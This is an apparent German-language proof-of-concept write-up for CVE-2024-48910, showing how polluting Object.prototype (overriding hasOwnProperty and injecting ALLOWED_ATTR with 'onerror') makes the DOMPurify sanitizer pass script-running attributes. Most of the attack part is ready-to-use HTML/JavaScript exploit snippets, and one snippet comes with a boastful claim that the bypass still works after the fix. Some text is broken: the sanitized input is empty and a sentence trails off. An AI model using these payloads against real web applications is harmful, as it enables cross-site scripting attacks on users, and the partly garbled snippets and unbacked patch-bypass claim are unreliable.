
Proof-of-Concept-Exploit für CVE-2024-48910, der die Umgehung des DOMPurify-XSS-Säuberers durch Prototype Pollution demonstriert, um beliebiges JavaScript über präparierte HTML-Attribute auszuführen.
CVE-2024-48910 DOMPurify, ein reiner DOM-basierter, superschneller, äußerst toleranter XSS-Sanitizer für HTML, MathML und SVG, wurde als anfällig für Prototyp-Verschmutzung (CVE-2024-48910) befunden. Die Schwachstelle wurde in Version 2.4.2 entdeckt und behoben, mit der ersten Offenlegung am 31. Oktober 2024 .
Die Prototyp-Verschmutzungsschwachstelle in DOMPurify könnte Angreifern ermöglichen, Objektprototyp-Attribute zu manipulieren, was möglicherweise zu Sicherheitsumgehungen und unbefugten Änderungen des Anwendungsverhaltens führt. Der hohe CVSS-Wert deutet auf eine erhebliche potenzielle Auswirkung auf die Systemsicherheit hin, insbesondere auf die Vertraulichkeit und Integrität von Daten.
Der Schwachstelle wurde ein CVSS v3.1-Basiswert von 9.1 (CRITICAL) mit der Vektorzeichenfolge CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N zugewiesen. Dies bedeutet, dass die Schwachstelle aus der Ferne mit geringer Angriffskomplexität ausgenutzt werden kann, keine Berechtigungen oder Benutzerinteraktion erfordert und hohe Auswirkungen sowohl auf die Vertraulichkeit als auch auf die Integrität haben kann, jedoch ohne die Verfügbarkeit zu beeinträchtigen.
Aus den Änderungsprotokollen ist ersichtlich, dass ein Testfall mit .__proto__. hinzugefügt wurde, was auf eine Prototyp-Injektion hindeutet.

Die nächste hinzugefügte Zeile war, was bedeutet, dass zuvor für alles, was truthy war, true ausgewertet wurde.

XSS-Schutz umgangen - onerror ist jetzt "erlaubt"
<script>Object.prototype.hasOwnProperty=Object</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>
Trotz des Upgrades auf 2.4.2 kann ich immer noch das alert() erscheinen lassen... alles was man tun muss, ist Object.prototype.hasOwnProperty = () => true; zu setzen, um den Schutz zu umgehen LOL!!
<script>Object.prototype.hasOwnProperty = () => true;</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>